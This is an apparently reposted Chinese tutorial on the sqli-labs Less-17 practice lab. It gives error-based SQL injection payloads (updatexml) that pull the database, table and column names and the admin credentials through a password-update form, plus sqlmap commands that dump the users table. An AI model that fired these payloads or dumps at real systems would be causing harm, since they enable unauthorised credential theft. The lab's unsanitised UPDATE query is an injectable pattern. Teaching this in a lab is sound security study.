sqli-labs:Less-17关卡详细解析

1. 思路🚀

本关的SQL语句为:

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
  • 注入类型:字符串型(单引号包裹)、POST请求、UPDATE请求
  • 提示:参数需以'闭合

php输出语句的部分代码:

if (mysql_error())
{echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";
}
else
{echo '<font color= "#FFFF00" font size = 3 >';//echo " You password has been successfully updated " ;		echo "<br>";echo "</font>";
}

值得注意的是,本关卡的落脚点是password,而非username,根据SQL语句可知,还必须知道其中一个用户的账号,不然update语句就进行不下去。暂且利用其中一个用户账号名admin,根据提示信息,使用报错盲注。

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-17/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=admin&passwd=1' order by 3 #
&submit=Submit

在这里插入图片描述


2.2. 获取数据库⚡

uname=admin&passwd=1' and updatexml(1,concat(1,(select database())),3) #
&submit=Submit

在这里插入图片描述


2.3. 获取表名⚡

uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&submit=Submit

在这里插入图片描述


2.4. 获取字段⚡

uname=admin&passwd=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&submit=Submit

在这里插入图片描述


2.5. 获取数据⚡

tmp:将目标表包装成子查询结果(临时表)

uname=admin&passwd=1' and updatexml(1,concat(1,(select concat(username,':',password) from (select * from users) as tmp where username='admin' limit 1)),3) #
&submit=Submit

在这里插入图片描述

假如你使用了类似下面的语句,报图中错误:

uname=admin&passwd=1' and updatexml(1,concat(1,(select password from users limit 0,1)),3) #
&submit=Submit

在这里插入图片描述

这是因为在updatedeleteinsert语句的子查询中,不能直接引用正在被修改的表​​。你的报错注入使用了updatexml,而 updatexml本质上是一个​更新操作​​(虽然目的是触发错误),因此受此限制影响。


2.6. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
#注释符#
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-17/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=admin&passwd=123456"passwd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-17/" --data="uname=admin&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=admin&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

奇怪的是账号密码全为NULL,这或许是源代码的问题,不过之前的4条命令都可正常获取基本信息。

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/91637.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/91637.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

文心一言:推动 AIGC 领域进步

文心一言:推动AIGC领域进步 关键词:文心一言、AIGC、自然语言处理、多模态生成、大模型、技术架构、应用场景 摘要:本文深入剖析百度文心一言在AIGC(人工智能生成内容)领域的技术创新与实践成果。通过解析其核心技术架构、多模态生成原理、工程化落地策略及行业应用案例,…

第15讲——微分方程

文章目录思维导图基本概念微分方程及其阶思维导图 基本概念 微分方程及其阶

RAGFlow Agent 知识检索节点源码解析:从粗排到精排的完整流程

RAGFlow Agent 知识检索节点深度解析&#xff1a;从查询到重排序的完整流程 1. 总体架构概览 RAGFlow Agent 中的知识检索&#xff08;Retrieval&#xff09;节点是整个RAG系统的核心组件&#xff0c;负责从知识库中找到与用户查询最相关的文档片段。检索流程可以分为以下几个…

Python算法实战:从排序到B+树全解析

Python中常见的算法示例 以下是Python中常见的算法示例,涵盖基础算法和经典问题解决方案,代码可直接运行: 排序算法 冒泡排序 def bubble_sort(arr):n = len(arr)for i in range(n):for j in range(0, n-i-1):if arr[j] > arr[j+1]:arr[j], arr[j+1] = arr[j+1], arr…

【C++算法】85.BFS解决最短路径问题_最小基因变化

文章目录题目链接&#xff1a;题目描述&#xff1a;解法C 算法代码&#xff1a;题目链接&#xff1a; 433. 最小基因变化 题目描述&#xff1a; 解法 先看懂题目 先把这个问题转化&#xff1a;图论问题 边权为1的最短路问题。 为什么可以这么想&#xff1f;&#xff01; 因为每…

基于单片机汽车少儿安全预警系统

文章目录一、前言1.1 项目介绍【1】项目开发背景【2】设计实现的功能【3】项目硬件模块组成【4】设计意义【5】市面上同类产品研究现状【6】摘要1.2 设计思路1.3 系统功能总结1.4 开发工具的选择【1】设备端开发【2】上位机开发1.5 模块的技术详情介绍1.6 框架图框架图说明&…

Mac 上配置jdk 环境变量

核心步骤是设置 JAVA_HOME 变量&#xff0c;并将其 bin 目录添加到系统的 PATH 变量中。 macOS 从 Catalina (10.15) 版本开始&#xff0c;默认的终端 Shell 从 bash 切换到了 zsh。因此&#xff0c;你需要先确定你正在使用的 Shell&#xff0c;然后编辑对应的配置文件。步骤一…

硬件-音频学习DAY1——音箱材料选择:密度板为何完胜实木

每日更新教程&#xff0c;评论区答疑解惑&#xff0c;小白也能变大神&#xff01;" 目录 一.音箱材料选择的关键因素 二.密度板的声学优势 三.材料稳定性的对比 四.生产工艺的适应性 五.成本与环保的平衡 六.特殊场景的例外情况 七.消费者选购指南 八.行业发展趋势…

微波(Microwave)与毫米波(Millimeter wave)简介

一、电磁波频段划分&#xff0c;微波与毫米波所属 二、微波 可以看出UHF及以上的频段都可以统称为微波。记得之前上微波技术实验课的时候会接触比巴掌还大的金属波导&#xff0c;后来每次看到微波技术的时候都还是感到陌生。今天突然想到&#xff0c;不像在手机里就能完成的5G频…

ObjectMapper教程

ObjectMapper 简介ObjectMapper 是 Jackson 库的核心类&#xff0c;用于 Java 对象与 JSON 数据之间的相互转换。它支持序列化&#xff08;对象转 JSON&#xff09;和反序列化&#xff08;JSON 转对象&#xff09;&#xff0c;广泛应用于 REST API、数据存储和配置处理等场景。…

【Node.js安装注意事项】-安装路径不能有空格

问题描述&#xff1a;在项目中使用 nodemon时&#xff0c;出现了nodemon 启动问题&#xff1a;nodemon : 无法将“nodemon”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。解决办法&#xff1a;在网上找了很多教程&#xff0c;试了很多办法&#xff0c;什么重新配置环境…

Shader开发(六)什么是着色器

在前面的章节中&#xff0c;我们简要提到了着色器的概念&#xff0c;现在有了渲染管线的基础知识&#xff0c;我们可以更深入地理解着色器的真正含义。着色器&#xff08;Shader&#xff09;是运行在图形处理单元&#xff08;GPU&#xff09;上的专用程序&#xff0c;这与我们日…

操作系统-lecture4(进程的调度)

进程的切换 接下来需要了解两个问题 谁触发了进程切换进程切换的动作 中断技术 中断源 中断处理过程&#xff08;陷阱机制&#xff09; 特权指令和非特权指令 Privileged Instructions&#xff1a;特权指令 •The Instructions that can run only in Kernel Mode are called…

机器人程序优化

机器人程序优化核心摘要 本视频详细讲解了机器人程序优化的方法与实践&#xff0c;旨在提高程序的可读性和复用性。通过学习文件夹、子程序调用以及路点优化等核心概念&#xff0c;观众将掌握如何将复杂的机器人搬运程序进行结构化整理&#xff0c;使其更易于理解、调试和在不…

一套视频快速入门并精通PostgreSQL

PostgreSQL从入门到精通系列PostgreSQL数据库是一个对理论知识与操作能力并重的技术&#xff0c;想要快速入门PostgreSQL数据库&#xff0c;这两个方面都要重视。这里的PostgreSQL从入门到精通&#xff0c;是专门针对刚入门的新手小白而录制的一套&#xff0c;有理论讲解也有动…

供应商管理系统有哪些功能?

在企业供应链数字化体系中&#xff0c;供应商管理系统是连接企业与外部合作伙伴的核心枢纽。以鲸采云采购管理系统的供应商模块为例&#xff0c;其功能设计围绕 “全生命周期管理 风险防控 协同效率” 三大核心&#xff0c;通过技术手段解决传统供应商管理中的信息碎片化、流…

新手向:国内外大模型体验与评测

国内外大模型体验与评测技术详解 近年来,人工智能领域的大模型技术取得了突破性进展,以GPT-4、Claude、文心一言等为代表的大语言模型(LLM)已经成为行业热点。国内外科技巨头纷纷布局这一赛道:国外有OpenAI的GPT系列、Anthropic的Claude、Google的PaLM,国内则有百度的文…

深度解读 CSGHub:开源协议、核心功能与产品定位

在大模型时代&#xff0c;“可用”不再足够&#xff0c;企业更需要“可管”、“可控”、“可演进”的一体化解决方案。作为国产开源阵营的中坚力量&#xff0c;CSGHub 如何从“开源与协议”到“功能定位”层层打磨&#xff0c;满足不同行业对合规、安全和灵活部署的诉求&#x…

本土化DevOps实践新篇章:Gitee引领企业高效协作新时代

本土化DevOps实践新篇章&#xff1a;Gitee引领企业高效协作新时代 在数字化转型的浪潮席卷全球的当下&#xff0c;软件开发与运维的协同效率已经成为决定企业竞争力的关键因素。随着国内企业对于数据安全和合规性的要求日益严格&#xff0c;寻找一套既符合本土监管要求又能提升…

B树、B+树、红黑树区别

一、核心概念与性质对比1. B树&#xff08;Balanced Tree&#xff09;定位&#xff1a;多路平衡搜索树&#xff0c;专为磁盘存储优化核心性质&#xff1a;每个节点存储 k-1个键值和k个子节点指针&#xff08;m/2 ≤ k ≤ m&#xff0c;m为阶数&#xff09;所有叶子节点位于同一…